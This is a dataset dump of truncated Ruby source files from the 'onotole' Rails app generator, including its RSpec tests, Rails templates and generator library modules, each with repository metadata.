spec/support/fake_github.rb
# frozen_string_literal: true class FakeGithub RECORDER = File.expand_path(File.join('..', '..', 'tmp', 'hub_commands'), File.dirname(__FILE__)) def initialize(args) @args = args end def run! File.open(RECORDER, 'a') do |file| file.write @args.join(' ') end end def self.clear! FileU...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/spec/support/onotole.rb
spec/support/onotole.rb
# frozen_string_literal: true module OnotoleTestHelpers APP_NAME = 'dummy_app' def remove_project_directory FileUtils.rm_rf(project_path) end def create_tmp_directory FileUtils.mkdir_p(tmp_path) end def run_onotole(arguments = nil) # unless !pgsql_db_exist?("#{APP_NAME}_development") || !pgsq...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/spec/features/heroku_spec.rb
spec/features/heroku_spec.rb
# frozen_string_literal: true require 'spec_helper' RSpec.describe 'Heroku' do context '--heroku' do before(:all) do clean_up run_onotole('--heroku=true') end it 'suspends a project for Heroku' do allow(Onotole::AppBuilder).to receive(:prevent_double_usage) app_name = OnotoleTest...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/spec/features/new_project_spec.rb
spec/features/new_project_spec.rb
# frozen_string_literal: true require 'spec_helper' RSpec.describe 'Suspend a new project with default configuration' do before(:all) do drop_dummy_database remove_project_directory run_onotole end let(:secrets_file) { IO.read("#{project_path}/config/secrets.yml") } let(:staging_file) { IO.read("#...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/spec/features/github_spec.rb
spec/features/github_spec.rb
# frozen_string_literal: true require 'spec_helper' RSpec.describe 'GitHub' do before do drop_dummy_database remove_project_directory end it 'suspends a project with --github option' do repo_name = 'test' run_onotole("--github=#{repo_name}") expect(FakeGithub).to have_created_repo(repo_name...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/spec/adapters/heroku_spec.rb
spec/adapters/heroku_spec.rb
# frozen_string_literal: true require 'spec_helper' module Onotole module Adapters RSpec.describe Heroku do it 'sets the heroku remotes' do setup_file = 'bin/setup' app_builder = double(app_name: app_name) allow(app_builder).to receive(:append_file) Heroku.new(app_builder)....
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/seeds.rb
templates/seeds.rb
# frozen_string_literal: true Rails.logger = Logger.new STDOUT seed_files_list = Dir[File.join(Rails.root, 'db', 'seeds', '*.rb')] seed_files_list.sort.each_with_index do |seed, i| load seed Rails.logger.info "Progress #{i + 1}/#{seed_files_list.length}. Seed #{seed.split('/').last.sub(/.rb$/, '')} loaded" end
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/bootstrap_flash_helper.rb
templates/bootstrap_flash_helper.rb
# frozen_string_literal: true module BootstrapFlashHelper ALERT_TYPES_MAP = { notice: :success, alert: :danger, error: :danger, info: :info, warning: :warning }.freeze def bootstrap_flash safe_join(flash.each_with_object([]) do |(type, message), messages| next if message.bla...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/staging.rb
templates/staging.rb
# frozen_string_literal: true require_relative 'production' Mail.register_interceptor( RecipientInterceptor.new(ENV.fetch('EMAIL_RECIPIENTS')) )
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/factory_girl_rspec.rb
templates/factory_girl_rspec.rb
# frozen_string_literal: true RSpec.configure do |config| config.include FactoryGirl::Syntax::Methods end
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/errors.rb
templates/errors.rb
# frozen_string_literal: true require 'net/http' require 'net/smtp' # Example: # begin # some http call # rescue *HTTP_ERRORS => error # notify_hoptoad error # end HTTP_ERRORS = [ EOFError, Errno::ECONNRESET, Errno::EINVAL, Net::HTTPBadResponse, Net::HTTPHeaderSyntaxError, Net::ProtocolError...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/devise_rspec.rb
templates/devise_rspec.rb
# frozen_string_literal: true RSpec.configure do |config| config.include Devise::TestHelpers, type: :controller end
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/rails_helper.rb
templates/rails_helper.rb
# frozen_string_literal: true ENV['RACK_ENV'] = 'test' require File.expand_path('../../config/environment', __FILE__) abort('DATABASE_URL environment variable is set') if ENV['DATABASE_URL'] require 'rspec/rails' require 'spec_helper' Dir[Rails.root.join('spec/support/**/*.rb')].sort.each { |file| require file } mo...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/kaminari.rb
templates/kaminari.rb
# frozen_string_literal: true Kaminari.configure do |config| config.page_method_name = :per_page_kaminari end
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/json_encoding.rb
templates/json_encoding.rb
# frozen_string_literal: true ActiveSupport::JSON::Encoding.time_precision = 0
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/factories.rb
templates/factories.rb
# frozen_string_literal: true FactoryGirl.define do end
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/i18n.rb
templates/i18n.rb
# frozen_string_literal: true RSpec.configure do |config| config.include ActionView::Helpers::TranslationHelper end
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/application_record.rb
templates/application_record.rb
class ApplicationRecord < ActiveRecord::Base self.abstract_class = true end
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/capybara_webkit.rb
templates/capybara_webkit.rb
# frozen_string_literal: true Capybara.javascript_driver = :webkit Capybara::Webkit.configure(&:block_unknown_urls)
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/database_cleaner_rspec.rb
templates/database_cleaner_rspec.rb
# frozen_string_literal: true RSpec.configure do |config| config.before(:suite) do DatabaseCleaner.clean_with(:deletion) end config.before(:each) do DatabaseCleaner.strategy = :transaction end config.before(:each, js: true) do DatabaseCleaner.strategy = :deletion end config.before(:each) do...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/rack_mini_profiler.rb
templates/rack_mini_profiler.rb
# frozen_string_literal: true if Rails.env == 'development' require 'rack-mini-profiler' # initialization is skipped so trigger it Rack::MiniProfilerRails.initialize!(Rails.application) end
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/flashes_helper.rb
templates/flashes_helper.rb
# frozen_string_literal: true module FlashesHelper def user_facing_flashes flash.to_hash.slice('alert', 'error', 'notice', 'success') end end
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/carrierwave.rb
templates/carrierwave.rb
# frozen_string_literal: true require 'carrierwave' require 'carrierwave/orm/activerecord'
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/deferred_garbage_collection.rb
templates/deferred_garbage_collection.rb
# frozen_string_literal: true class DeferredGarbageCollection DEFERRED_GC_THRESHOLD = (ENV['DEFER_GC'] || 15.0).to_f @last_gc_run = Time.zone.now def self.start GC.disable end def self.reconsider if Time.zone.now - @last_gc_run >= DEFERRED_GC_THRESHOLD GC.enable GC.start GC.disabl...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/inet_input.rb
templates/inet_input.rb
# frozen_string_literal: true class InetInput < Formtastic::Inputs::StringInput end
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/action_mailer.rb
templates/action_mailer.rb
# frozen_string_literal: true RSpec.configure do |config| config.before(:each) do ActionMailer::Base.deliveries.clear end end
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/shoulda_matchers_config_rspec.rb
templates/shoulda_matchers_config_rspec.rb
# frozen_string_literal: true Shoulda::Matchers.configure do |config| config.integrate do |with| with.test_framework :rspec with.library :rails end end
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/support.rb
templates/support.rb
# frozen_string_literal: true Dir[Rails.root.join('app/support/**/*.rb'), Rails.root.join('lib/*.rb')].each { |file| require_dependency file }
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/pundit/active_admin/page_policy.rb
templates/pundit/active_admin/page_policy.rb
# frozen_string_literal: true module ActiveAdmin class PagePolicy < ApplicationPolicy class Scope < ApplicationPolicy::Scope end def show? case record.name when 'Dashboard' true else false end end end end
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/pundit/active_admin/comment_policy.rb
templates/pundit/active_admin/comment_policy.rb
# frozen_string_literal: true module ActiveAdmin class CommentPolicy < ApplicationPolicy class Scope < ApplicationPolicy::Scope end end end
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole.rb
lib/onotole.rb
# frozen_string_literal: true require 'onotole/version' require 'onotole/colors' require 'onotole/generators/app_generator' require 'onotole/actions' require 'onotole/adapters/heroku' require 'onotole/app_builder'
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/actions.rb
lib/onotole/actions.rb
# frozen_string_literal: true module Onotole module Actions def replace_in_file(relative_path, find, replace, quiet_err = false) path = File.join(destination_root, relative_path) contents = IO.read(path) unless contents.gsub!(find, replace) raise "#{find.inspect} not found in #{relative_...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/version.rb
lib/onotole/version.rb
# frozen_string_literal: true module Onotole RAILS_VERSION = '~> 5.0.0' RUBY_VERSION = IO.read("#{File.dirname(__FILE__)}/../../.ruby-version").strip VERSION = '2.0.2' end
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/default_scripts.rb
lib/onotole/default_scripts.rb
# frozen_string_literal: true module Onotole module DefalutScripts def raise_on_unpermitted_parameters config = "\n config.action_controller.action_on_unpermitted_parameters = :raise\n" inject_into_class 'config/application.rb', 'Application', config end def provide_setup_script temp...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/app_builder.rb
lib/onotole/app_builder.rb
# frozen_string_literal: true require 'forwardable' # require 'pry' Dir[File.expand_path(File.join(File.dirname(File.absolute_path(__FILE__)), '../')) + '/**/*.rb'].each do |file| require file end module Onotole class AppBuilder < Rails::AppBuilder include Onotole::Actions include Onotole::UserGemsMenu ...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/helpers.rb
lib/onotole/helpers.rb
# frozen_string_literal: true module Onotole module Helpers def yes_no_question(gem_name, gem_description) gem_name_color = "#{gem_name.capitalize}.\n" variants = { none: 'No', gem_name.to_sym => gem_name_color } choice "Use #{gem_name}? #{gem_description}", variants end def choice(sele...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/default_frontend.rb
lib/onotole/default_frontend.rb
# frozen_string_literal: true module Onotole module DefaultFrontend def configure_quiet_assets config = "\n config.quiet_assets = true\n" inject_into_class 'config/application.rb', 'Application', config end def setup_asset_host replace_in_file 'config/environments/production.rb', ...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/deploy.rb
lib/onotole/deploy.rb
# frozen_string_literal: true module Onotole module Deploy def provide_deploy_script copy_file 'bin_deploy', 'bin/deploy' instructions = <<-MARKDOWN ## Deploying If you have previously run the `./bin/setup` script, you can deploy to staging and production with: $ ./bin/deploy staging $ ./b...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/colors.rb
lib/onotole/colors.rb
# frozen_string_literal: true module Onotole COLOR_OFF = "\033[0m" BLACK = "\033[30m" RED = "\033[31m" GREEN = "\033[32m" YELLOW = "\033[33m" BLUE = "\033[34m" MAGENTA = "\033[35m" CYAN = "\033[36m" WHITE = "\033[37m" BOLDBLACK = "\033[1m\033[30m"...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/mail.rb
lib/onotole/mail.rb
# frozen_string_literal: true module Onotole module Mail def configure_action_mailer action_mailer_host 'development', %("localhost:3000") action_mailer_host 'test', %("www.example.com") action_mailer_host 'production', %{ENV.fetch("#{app_name.upcase}_APPLICATION_HOST")} end def configu...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/tests.rb
lib/onotole/tests.rb
# frozen_string_literal: true module Onotole module Tests def generate_rspec ['app/views/pages', 'spec/lib', 'spec/controllers', 'spec/helpers', 'spec/support/matchers', 'spec/support/mixins', 'spec/support/shared_examples'].each do |dir| run "mkdir #{dir}" ...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false